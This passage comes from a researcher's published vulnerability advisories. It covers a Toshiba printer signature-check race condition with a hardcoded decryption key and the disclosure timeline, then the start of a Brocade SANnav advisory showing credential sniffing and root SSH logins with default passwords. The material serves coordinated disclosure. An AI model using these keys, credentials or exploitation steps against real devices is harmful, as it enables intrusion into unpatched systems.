2023/10/27 10:54:31 CMD: UID=0     PID=32195  | sh -c if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi  
2023/10/27 10:54:31 CMD: UID=0     PID=32194  | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi  
<font color=red>2023/10/27 10:54:33 CMD: UID=0     PID=32196  | sh -c echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O
NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8
LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS
qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW
ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT
m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp
PQIDAQAB
-----END PUBLIC KEY-----"> /work/ci/tmp/MFPAPI_public.key
2023/10/27 10:54:33 CMD: UID=0     PID=32197  | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec</font>
2023/10/27 10:54:33 CMD: UID=0     PID=32198  | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1 
</pre>

<p>If an invalid <code>Signature.enc</code> file is provided inside the uploaded application Package.zip file, then the process stops.</p>
<p>The command (PID=32196 in the dynamic analysis) that writes the public key into a file is hardcoded inside <code>/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0</code>.</p>
<p>Content of <code>/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0</code>:</p>
<pre><code>.rodata:00016620 aEchoBeginPubli db 'echo "-----BEGIN PUBLIC KEY-----',0Ah
.rodata:00016620                 db 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O',0Ah
.rodata:00016620                 db 'NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8',0Ah
.rodata:00016620                 db 'LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS',0Ah
.rodata:00016620                 db 'qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW',0Ah
.rodata:00016620                 db 'ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT',0Ah
.rodata:00016620                 db 'm6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp',0Ah
.rodata:00016620                 db 'PQIDAQAB',0Ah
.rodata:00016620                 db '-----END PUBLIC KEY-----"&gt; /work/ci/tmp/MFPAPI_public.key',0
.rodata:0001680A                 align 20h
</code></pre>
<p>The verification using the public key is secure in theory. The size of the RSA key is 2048 bits, so it is unlikely to be factorized by threat actors:</p>
<pre><code>kali% openssl rsa -inform PEM -pubin -in MFPAPI_public.key -text -noout
Public-Key: (2048 bit)
Modulus:
    00:d8:c5:95:8b:e9:23:7c:bf:fd:97:2b:81:96:cf:
    4e:35:4e:7e:aa:08:96:35:2c:c6:80:6a:94:ab:e6:
    7d:b9:a8:96:1a:8c:fa:c0:e0:4a:95:07:39:e5:fd:
    e7:52:ce:82:7e:95:ff:7b:c7:07:81:2f:27:c9:25:
    96:be:0c:bc:2e:72:b8:7f:a5:c0:50:c4:50:0b:4d:
    e3:98:75:df:85:bb:c9:39:de:8f:6e:49:63:14:cf:
    e4:d7:d0:30:39:ff:f1:91:35:15:9b:8e:53:a7:93:
    f7:4f:50:5d:f5:75:92:a9:42:71:a1:b8:13:4b:5e:
    5c:fb:e2:1c:b0:00:12:70:3f:1c:2d:93:d1:cb:02:
    d6:44:1a:00:d2:9a:26:b3:ab:8f:56:4c:8d:f4:e7:
    37:27:61:0c:a5:94:ff:e9:74:16:b9:c3:45:87:f7:
    a3:2d:ed:73:d0:fb:7f:4a:4e:13:78:df:c4:2d:9d:
    fe:20:7c:01:45:f0:29:7a:58:b1:70:4a:19:4d:6b:
    55:6e:7b:da:52:a3:b4:99:9f:0f:79:b4:d3:9b:a3:
    e5:28:4f:5f:1a:20:1e:d4:50:10:64:4d:df:13:b4:
    ad:c8:e2:30:c5:df:a7:de:de:4c:f9:27:46:6d:ae:
    19:25:62:4c:b2:40:5a:47:c6:d3:60:71:de:e0:34:
    69:3d
Exponent: 65537 (0x10001)
</code></pre>
<p>The entire chain of trust is based on a public key hardcoded inside the <code>/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0</code> file, whose corresponding private key is used to generate the packages.</p>
<p>Unfortunately, when doing dynamic analysis, we can see that the public key used to verify the <code>Signature.enc</code> file is stored in an insecure manner in <code>/work/ci/tmp/MFPAPI_public.key</code>.</p>
<p>The <code>/work/ci/tmp/</code> directory is 777, allowing any attacker to write any file:</p>
<pre><code>bash-4.1# ls -la /work/ci/tmp/
total 16
drwxrwxrwx 2 root root    12288 Oct 27 11:26 .
drwxrwxrwx 6 root root     4096 Oct 27 11:26 ..
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_00000#boxproperties_dom.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_HDBROOT#GetCmdDoc.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceFaxEvent.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeDeviceState.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_HDBROOT#RestrictionModeSystemInformation.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 03:17 HDB_HDBROOT#RestrictionPowerSaveCommandToDSM.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_HDBROOT#RestrictionSecretReceptionFalseToDSM.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 06:17 HDB_HDBROOT#RestrictionSleepCommandToDSM.txt
-rwxrwxrwx 1 root trusted     0 Oct 27 02:16 HDB_Precompiled#Resources?Frames?COMMON?ALERTS?alertspanel_devicestatus.xml.txt
[...]
</code></pre>
<p>Furthermore, the resulting file <code>/work/ci/tmp/MFPAPI_public.key</code> is using insecure permissions (666) allowing any attacker to replace it with a rogue public key during the verification process using a file overwrite vulnerability.</p>
<p>This is a TOCTOU vulnerability:</p>
<pre><code>bash-4.1# for i in $(seq 1 100); do ls -la /work/ci/tmp/MFPAPI_public.key;sleep 0.1;done
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
-rw-rw-rw- 1 root trusted 451 Oct 27 11:26 /work/ci/tmp/MFPAPI_public.key
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
ls: cannot access /work/ci/tmp/MFPAPI_public.key: No such file or directory
[...]
</code></pre>
<p>An attacker can replace the <code>/work/ci/tmp/MFPAPI_public.key</code> file between the time when is it written into the printer and when it is being used by openssl:</p>
<pre><code>2023/10/27 10:54:33 CMD: UID=0     PID=32196  | sh -c echo "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2MWVi+kjfL/9lyuBls9O
NU5+qgiWNSzGgGqUq+Z9uaiWGoz6wOBKlQc55f3nUs6CfpX/e8cHgS8nySWWvgy8
LnK4f6XAUMRQC03jmHXfhbvJOd6PbkljFM/k19AwOf/xkTUVm45Tp5P3T1Bd9XWS
qUJxobgTS15c++IcsAAScD8cLZPRywLWRBoA0poms6uPVkyN9Oc3J2EMpZT/6XQW
ucNFh/ejLe1z0Pt/Sk4TeN/ELZ3+IHwBRfApelixcEoZTWtVbnvaUqO0mZ8PebTT
m6PlKE9fGiAe1FAQZE3fE7StyOIwxd+n3t5M+SdGba4ZJWJMskBaR8bTYHHe4DRp
PQIDAQAB
-----END PUBLIC KEY-----"&gt; /work/ci/tmp/MFPAPI_public.key
/\
|
------------- TOCTOU HERE --------------------
|
V
2023/10/27 10:54:33 CMD: UID=0     PID=32197  | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec
</code></pre>
<p>There is a second TOCTOU between the following openssl commands. The second command is only executed if the <code>Signature.enc</code> is correctly verified in the first command and the password in the second command seems to depend on the content of the <code>Signature.enc</code> file. </p>
<p>Between the 2 openssl commands, an attacker can replace <code>/work/al/tmp/package/ApplicationPackage.enc</code> with a malicious package (encrypted with the password used by a trusted package).</p>
<pre><code>24     2023/10/27 10:54:33 CMD: UID=0     PID=32197  | sh -c openssl rsautl -verify -pubin -inkey /work/ci/tmp/MFPAPI_public.key -in /work/al/tmp/package/Signature.enc -out /work/ci/SignatureFile_Dec
/\
|
------------- TOCTOU HERE --------------------
|
V
25     2023/10/27 10:54:33 CMD: UID=0     PID=32198  | sh -c openssl enc -d -aes256 -md md5 -in /work/al/tmp/package/ApplicationPackage.enc -out /work/al/tmp/package/ApplicationPackage.zip -k 4f2594ffaa79c3a58e5a4868910f27f1
</code></pre>
<p>It is possible to install a rogue application package, signed with a rogue private key and at the same time to upload a file replacing the Toshiba original public key at <code>/work/ci/tmp/MFPAPI_public.key</code> with the corresponding rogue public key, breaking the entire chain of trust.</p>
<p>This rogue public key will then be used to verify the application (and it will pass): the application will be installed.</p>
<p>Consequently, an attacker can forge a rogue <code>/work/ci/tmp/MFPAPI_public.key</code> key and use its own public/private keys to install package file.</p>
<p>An attacker can also replace <code>/home/SYSROM_SRC/build/release/lib/libcipltintegritycheck.so.0</code> with a modified library since the permissions are insecure allowing to (i) get Remote Code Execution when the code is executed and/or (ii) contain a malicious public key and also get RCE.</p>
<p>An attacker with admin access can install rogue applications and get Remote Code Execution.</p>
<h2>Vendor Response</h2>
<p>JPCERT provided a <a href="https://jvn.jp/en/vu/JVNVU97136265/index.html">security bulletin</a>.</p>
<p>Toshiba provided a <a href="https://www.toshibatec.com/information/20240531_01.html">security bulletin</a>.</p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>Mar - May 2023: Security assessment performed on Toshiba Multi-function printers (a total of 15 working days have been allocated for this security assessment).</li>
<li>Jun 14, 2023: A complete report was sent to Toshiba.</li>
<li>Jun 15, 2023: Tosbiba acknowledged the reception of the security assessment.</li>
<li>Jun 28, 2023: Tosbiba confirmed that the evaluation is in progress and provided new security contacts.</li>
<li>Jun 29, 2023: I asked the GPG keys of the new security contacts.</li>
<li>Jul 4, 2023: Toshiba provided new GPG keys and confirmed they were able to reproduce allmost all of the issues.</li>
<li>Jul 4, 2023: I asked when the security patches would be provided.</li>
<li>Jul 7, 2023: Toshiba confirmed that the vulnerabilities affect some models and the evaluation is still in progress. Toshiba asked details about the security assessment.</li>
<li>Jul 10, 2023: Additional details about the security assessment were provided.</li>
<li>Jul 11, 2023: Toshiba provided an Excel file listing the vulnerabilities with their evaluation.</li>
<li>Jul 12, 2023: Comments were provided to Toshiba regarding the evaluation of the vulnerabilities.</li>
<li>Jul 13, 2023: Toshiba provided further details regarding the evaluation of the vulnerabilities.</li>
<li>Jul 14, 2023: Comments were provided to Toshiba regarding the threat model and the necessity to patch root causes of vulnerabilities.</li>
<li>Jul 17, 2023: An updated Excel file with my additional comments was provided to Toshiba.</li>
<li>Jul 18, 2023: Toshiba confirmed the reception of the Excel file and confirmed they would review the issues by prioritizing critical vulnerabilities and would organize a meeting.</li>
<li>Jul 19, 2023: I confirmed that the meeting could be organized after the Excel file was reviewed.</li>
<li>Jul 21, 2023: Toshiba provided a work-in-progress Excel file with updated evaluations.</li>
<li>Jul 25, 2023: I confirmed the reception of the Excel file.</li>
<li>Jul 27, 2023: Toshiba confirmed that the new security evaluation was still in progress and asked feedback regarding the work-in-progress document listing measures.</li>
<li>Jul 28, 2023: I confirmed that I would provide comments about the work-in-progress document.</li>
<li>Aug 1, 2023: The Excel file was reviewed and an updated version was sent to Toshiba, confirming that the current Toshiba's analysis was very efficient (root causes of vulnerabilities would be patched).</li>
<li>Aug 1, 2023: Toshiba confirmed the reception of the document.</li>
<li>Aug 4, 2023: Toshiba sent the final version of the Excel document listing the vulnerabilities and the security patches.</li>
<li>Aug 4, 2023: I confirmed the reception of the document.</li>
<li>Aug 7, 2023: The Excel file listing the vulnerabilities, evaluations and remediations was updated with my comments and shared with Toshiba.</li>
<li>Aug 9, 2023: Virtual meeting with Toshiba - discussions about the vulnerabilities and the timeline to get security patches.</li>
<li>Aug 10, 2023: Additional details were provided to Toshiba regarding new potential vulnerabilities in an interesting attack surface that had not been analyzed.</li>
<li>Sep 5, 2023: Toshiba provided access to a firmware image of a third-party application.</li>
<li>Oct 24, 2023: Toshiba provided a list of CVE identifiers regarding the previously reported vulnerabilities.</li>
<li>Oct 25, 2023: Emails regarding the CVE identifiers.</li>
<li>Oct 26, 2023: Emails regarding the CVE identifiers.</li>
<li>Oct 27, 2023: 5 new 0-day vulnerabilities shared with Toshiba, after the analysis of the firmware image of a third-party application.</li>
<li>Oct 30, 2023: Toshiba confirmed that the analysis of the new vulnerabilities would be done as soon as possible.</li>
<li>Nov 11, 2023: Toshiba confirmed that the analysis of the new vulnerabilities was in-progress.</li>
<li>Nov 20, 2023: Emails regarding the CVSSv3 scores of the vulnerabilities.</li>
<li>Nov 21, 2023: Toshiba confirmed that they would review the scores.</li>
<li>Nov 21, 2023: Emails regarding CVE IDs.</li>
<li>Nov 22, 2023: Toshiba confirmed that only a small subset of products were previously patched and that CVEs would be public after all the supported models have been patched.</li>
<li>Nov 28, 2023: Toshiba provided an updated Excel file, with new vulnerabilities.</li>
<li>4 Dec, 2023: Additional details were provided to Toshiba regarding new vulnerabilities.</li>
<li>Dec, 2023: Discussions regarding CVSSv3 scores.</li>
<li>Feb 2, 2024: Toshiba confirmed the CVSSv3 scores of the vulnerabilities.</li>
<li>Feb 5, 2024: Toshiba confirmed that the security bulletins would be published around May-June 2024.</li>
<li>May 8, 2024: I asked Toshiba when the advisories would be public.</li>
<li>May 10, 2024: Toshiba confirmed that the advisories would be public by the end of May.</li>
<li>May 14, 2024: Toshiba provided a list of CVEs corresponding to the vulnerabilities I reported and asked to respect the embargo.</li>
<li>May 14, 2024: I confirmed the reception of the CVEs.</li>
<li>May 20, 2024: Toshiba informed that the security advisories would be delayed to mid-June 2024.</li>
<li>May 20, 2024: I confirmed that it was fine for me.</li>
<li>Jun 4, 2024: Toshiba provided a list of affected printers and patched firmware versions.</li>
<li>Jun 14, 2024: Toshiba published a security advisory: <a href="https://www.toshibatec.com/information/20240531_01.html">https://www.toshibatec.com/information/20240531_01.html</a>.</li>
<li>Jun 14, 2024: JPCERT published a security advisory: <a href="https://jvn.jp/en/vu/JVNVU97136265/index.html">https://jvn.jp/en/vu/JVNVU97136265/index.html</a>.</li>
<li>June 27, 2024: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html">https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt">https://pierrekim.github.io/advisories/2024-toshiba-mfp.txt</a></p>
<p><a href="https://www.toshibatec.com/information/20240531_01.html">https://www.toshibatec.com/information/20240531_01.html</a></p>
<p><a href="https://www.toshibatec.com/information/pdf/information20240531_01.pdf">https://www.toshibatec.com/information/pdf/information20240531_01.pdf</a></p>
<p><a href="https://jvn.jp/en/vu/JVNVU97136265/index.html">https://jvn.jp/en/vu/JVNVU97136265/index.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>18 vulnerabilities in Brocade SANnav</title>
        <link href="2024-04-24-brocade-sannav-18-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>Brocade's SANnav Management Portal and SANnav Global View empower IT through simplified processes and delivering the right information at the right time.
These tools simplify management by eliminating tedious CLI tasks to manage, monitor, and alert on issues impacting the SAN.
SANnav Management Portal transforms information about SAN behavior and performance into actionable insights, allowing administrators to quickly identify, isolate, and correct problems before they impact the business.</p>
<p>From <a href="https://www.broadcom.com/products/fibre-channel-networking/software/sannav-management-portal">https://www.broadcom.com/products/fibre-channel-networking/software/sannav-management-portal</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions: all versions up to 2.3.0 (included).</p>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#incorrect-firewall-rules">CVE-2024-4159 - Incorrect firewall rules</a></li>
<li><a href="#lack-of-encryption-for-management-protocol-http">non-assigned CVE vulnerability - Lack of encryption for management protocol (HTTP)</a></li>
<li><a href="#syslog-traffic-sent-in-clear-text">CVE-2024-4161 - Syslog traffic sent in clear-text</a></li>
<li><a href="#insecure-root-access">CVE-2024-29966 - Insecure root access</a></li>
<li><a href="#insecure-sannav-access">non-assigned CVE vulnerability - Insecure sannav access</a></li>
<li><a href="#insecure-ssh-configuration">CVE-2024-2859 - Insecure SSH configuration</a></li>
<li><a href="#suspicious-network-traffic-ignite.apache.org">CVE-2024-29961 - Suspicious network traffic (ignite.apache.org)</a></li>
<li><a href="#lack-of-authentication-in-postgres">non-assigned CVE vulnerability - Lack of authentication in Postgres</a></li>
<li><a href="#insecure-postgres-docker-instance">CVE-2024-29967 - Insecure Postgres Docker instance</a></li>
<li><a href="#insecure-docker-instances">CVE-2024-29967 - Insecure Docker instances</a></li>
<li><a href="#insecure-docker-architecture-and-configuration">CVE-2024-29964 - Insecure Docker architecture and configuration</a></li>
<li><a href="#insecure-backup-process">CVE-2024-29965 - Insecure Backup process</a></li>
<li><a href="#inconsistency-in-firewall-rules">CVE-2024-4159 - Inconsistency in firewall rules</a></li>
<li><a href="#insecure-file-permissions">CVE-2024-29962 - Insecure file permissions</a></li>
<li><a href="#kafka-reachable-on-the-wan-interface-and-lack-of-authentication">CVE-2024-4173 - Kafka reachable on the WAN interface and Lack of authentication</a></li>
<li><a href="#hardcoded-ssh-keys">CVE-2024-29960 - Hardcoded SSH Keys</a></li>
<li><a href="#suspicious-network-traffic-www.gridgain.com">CVE-2024-29961 - Suspicious network traffic (www.gridgain.com)</a></li>
<li><a href="#hardcoded-docker-keys">CVE-2024-29963 - Hardcoded Docker Keys</a></li>
</ol>
<p><em>Miscellaneous notes</em>:</p>
<p>The security assessment was provided in September 2022 to the Brocade support through Dell but it was rejected by Brocade because it didn't address the latest version of SANnav. The tested version was SANNav 2.1.1 at that time (refer to the <a href="#timeline">Timeline</a> for more information).</p>
<p>Luckily, I was able to get access to the latest version of SANnav in May 2023 (the latest version was 2.2.2 then) and confirmed that <u>all the previously rejected vulnerabilities were still present</u> in the version 2.2.2 and as a bonus point, I was able to find 3 additional 0-day vulnerabilities while updating the report. An updated report confirming all the vulnerabilities in the 2.2.2 version was sent to Brocade PSIRT in May 2023 and they finally aknowledged the vulnerabilities.</p>
<p>The patches were released in April 2024, 19 months after Brocade firstly rejected the vulnerabilities and 11 months after Brocade acknowledged the vulnerabilities.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise a SANNav appliance. After compromising SANNav, it is trivial to compromise Fibre Channel switches. These switches are running Linux and are powerful. They are ideal to host implants.</p>
<p><em>Recommendations</em></p>
<p>Install SANnav 2.3.1.</p>
<p><a id="incorrect-firewall-rules"></a></p>
<h2>Details - Incorrect firewall rules</h2>
<p>By Default, the SANnav VM does not have a firewall:</p>
<pre><code>kali% nmap -sS -sV -v -n -O -p0-65535 10.13.3.7
PORT      STATE  SERVICE     VERSION
22/tcp    open   ssh         OpenSSH 8.0 (protocol 2.0)
80/tcp    open   http        nginx
443/tcp   open   ssl/http    nginx
2377/tcp  open   ssl/swarm?
7946/tcp  open   unknown
18081/tcp open   http        nginx
18082/tcp open   ssl/http    nginx
19094/tcp open   ssl/unknown
kali%
</code></pre>
<p>As shown in <a href="#kafka-reachable-on-the-wan-interface-and-lack-of-authentication">Kafka reachable on the WAN interface and Lack of authentication</a>, an attacker can reach Kafka APIs and send malicious data. The ports <code>18081/tcp</code>, <code>18082/tcp</code> and <code>19094/tcp</code> are only supposed to be reachable from the switches.</p>
<p><code>2377/tcp</code> and <code>7946/tcp</code> are used by Docker for replication.</p>
<p>Furthermore, it was shown that a lot of communications from this appliance was done in clear-text, allowing any machine in the same network to intercept credentials used to manage the Fibre Channel infrastructure. These vulnerabilities are described in:</p>
<ul>
<li><a href="#lack-of-encryption-for-management-protocol-http">Lack of encryption for management protocol (HTTP)</a></li>
<li><a href="#syslog-traffic-sent-in-clear-text">Syslog traffic sent in clear-text</a></li>
</ul>
<p>It is trivial for an attacker to intercept credentials and compromise the entire Fibre Channel infrastructure.</p>
<p>Furthermore, more details regarding the firewall rules can be found in <a href="#inconsistency-in-firewall-rules">Inconsistency in firewall rules</a> showing discrepancy in firewall rules in IPv4 and IPv6.</p>
<p><a id="lack-of-encryption-for-management-protocol-http"></a></p>
<h2>Details - Lack of encryption for management protocol (HTTP)</h2>
<p>By default, the appliance can be installed with these options:</p>
<pre><code>To configure HTTP or HTTPS connections between SANnav Management Portal and SAN switches, select one of the following options:
        0 For HTTP
        1 For HTTPS (SAN switches must be configured for HTTPS connection)
        2 For HTTPS first then HTTP (if HTTPS fails)
</code></pre>
<p>The options 0 and 2: Fall-back to an insecure protocol are insecure. Consequently, an attacker can block HTTPS connections and retrieve the passwords of switches over HTTP.</p>
<p>It was observed that the test SANnav appliance connects to remote switches using a clear-text network protocol (HTTP) if the option 2 is set and the HTTPS traffic is blocked.
This allows an attacker to retrieve passwords of devices by sniffing the network.</p>
<pre><code>09:04:57.406608 IP 10.13.3.7.59090 &gt; 10.13.3.8.http: Flags [P.], seq 1:274, ack 1, win 229, options [nop,nop,TS val 96789859 ecr 3236098423], length 273: HTTP: GET /authenticate.html HTTP/1.1
        0x0000:  ffff ffff ffff ffff ffff ffff ffff ffff  ................
        0x0010:  ffff ffff ffff ffff ffff ffff ffff ffff  ................
        0x0020:  ffff ffff ffff ffff ffff ffff ffff ffff  ................
        0x0030:  ffff ffff 4745 5420 2f61 7574 6865 6e74  ...wGET./authent
        0x0040:  6963 6174 652e 6874 6d6c 2048 5454 502f  icate.html.HTTP/
        0x0050:  312e 310d 0a55 7365 722d 4167 656e 743a  1.1..User-Agent:
        0x0060:  2053 414e 6e61 764d 502d 322e 312e 312d  .SANnavMP-2.1.1-
        0x0070:  7065 7266 6d6f 6e2d 6d77 0d0a 4175 7468  perfmon-mw..Auth
        0x0080:  6f72 697a 6174 696f 6e3a 2043 7573 746f  orization:.Custo
        0x0090:  6d5f 4261 7369 6320 ffff ffff ffff ffff  m_Basic.....[REM
        0x00a0:  ffff ffff ffff ffff ffff ffff 0d0a 4361  OVEDREMOVED]....
        0x00b0:  6368 652d 436f 6e74 726f 6c3a 206e 6f2d  che-Control:.no-
        0x00c0:  6361 6368 650d 0a50 7261 676d 613a 206e  cache..Pragma:.n
        0x00d0:  6f2d 6361 6368 650d 0a48 6f73 743a 20ff  o-cache..Host:.[
        0x00e0:  ffff ffff ffff ffff ffff ffff 0a41 6363  REMOVEDREMO].Acc
        0x00f0:  6570 743a 2074 6578 742f 6874 6d6c 2c20  ept:.text/html,.
        0x0100:  696d 6167 652f 6769 662c 2069 6d61 6765  image/gif,.image
        0x0110:  2f6a 7065 672c 202a 3b20 713d 2e32 2c20  /jpeg,.*;.q=.2,.
        0x0120:  2a2f 2a3b 2071 3d2e 320d 0a43 6f6e 6e65  */*;.q=.2..Conne
        0x0130:  6374 696f 6e3a 206b 6565 702d 616c 6976  ction:.keep-aliv
        0x0140:  650d 0a0d 0a                             e....
</code></pre>
<p>Since the credentials are just base64-encoded, it is possible to decrypt them:</p>
<pre><code>kali% echo YWRtaW46YWR2aXNvcnk= | base64 -d;echo 
admin:advisory
</code></pre>
<p>Using stolen credentials, it is possible to SSH the Brocade switches:</p>
<pre><code>kali% sshpass -p 'advisory' ssh -l admin 10.13.3.8
Warning: SSH client configured for wide compatibility by kali-tweaks.
SWITCH:admin&gt;
</code></pre>
<p><a id="syslog-traffic-sent-in-clear-text"></a></p>
<h2>Details - Syslog traffic sent in clear-text</h2>
<p>The SANnav appliance receives syslog datagrams from the Brocade switches.</p>
<p>When sniffing the network, this traffic is sent in clear-text as shown below:</p>
<pre><code>[root@sannav-portal-v211 shm]# tcpdump -n -ttt -i ens192
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
 00:00:00.893850 IP 10.13.3.142.47170 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 297
 00:00:00.216601 IP 10.13.3.43.45881 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 300
 00:00:00.403197 IP 10.13.3.140.48980 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 297
 00:00:02.303478 IP 10.13.3.142.47170 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 273
 00:00:00.397072 IP 10.13.3.140.48980 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 273
 00:00:00.144829 IP 10.13.3.63.57717 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 294
</code></pre>
<p>When analyzing the packets, it appears there is no authentication and no encryption at all (the packet has been redacted):</p>
<pre><code>[root@sannav-portal-v211 shm]# tcpdump -n -ttt -s0 -X -i ens192 port 514
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
 00:00:00.000000 IP 10.13.3.163.33117 &gt; 10.13.3.7.syslog: SYSLOG local7.info, length: 301
        0x0000:  ffff ffff ffff ffff ffff ffff ffff ffff  ................
        0x0010:  ffff ffff ffff ffff ffff ffff ffff ffff  ................
        0x0020:  3e41 7567 2020 3220 3130 3a35 373a 3533  &gt;Aug..2.10:57:53
        0x0030:  ffff ffff ffff ffff ffff ffff ffff ffff  [REMOVEDREMOVED]
        0x0040:  7261 736c 6f67 643a 2041 5544 4954 2c20  raslogd:.AUDIT,.
        0x0050:  3230 3232 2f30 382f 3032 2d31 303a 3537  2022/08/02-10:57
        0x0060:  3a35 3320 2847 4d54 292c 205b 5345 432d  :53.(GMT),.[SEC-
 [...]
</code></pre>
<p><a id="insecure-root-access"></a></p>
<h2>Details - Insecure root access</h2>
<p>There are backdoor credentials for 2 users: <code>root</code> (documented) and <code>sannav</code> (undocumented).</p>
<p>When reading the documentation of SANnav, it appears the root password of the appliance is publicly known:</p>
<p><a href="https://techdocs.broadcom.com/us/en/fibre-channel-networking/sannav/management-portal-installation-and-migration/2-2-0x/SANnav-Management-Portal-OVA-Deployment/Installation-Prerequisites-for-SANnav-Management-Portal-Appliance.html">https://techdocs.broadcom.com/us/en/fibre-channel-networking/sannav/management-portal-installation-and-migration/2-2-0x/SANnav-Management-Portal-OVA-Deployment/Installation-Prerequisites-for-SANnav-Management-Portal-Appliance.html</a>:</p>
<p><img alt="" src="images/2024-sannav-credentials.png" /></p>
<p>Using this password, it is possible to get a root access to the appliance:</p>
<pre><code>kali% sshpass -p 'SANnav!@#' ssh -l root 10.13.3.7
Warning: SSH client configured for wide compatibility by kali-tweaks.
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Mon Aug 28 09:50:36 from 10.13.3.10 on ssh:notty
Last login: Mon Aug 28 09:56:36 2022 from 10.13.3.10

__        __   _                            _
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) |
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/


 ____    _    _   _                     ____    _   _ 
/ ___|  / \  | \ | |_ __   __ ___   __ |___ \  / | / |
\___ \ / _ \ |  \| | '_ \ / _` \ \ / /   __) | | | | |
 ___) / ___ \| |\  | | | | (_| |\ V /   / __/ _| |_| |
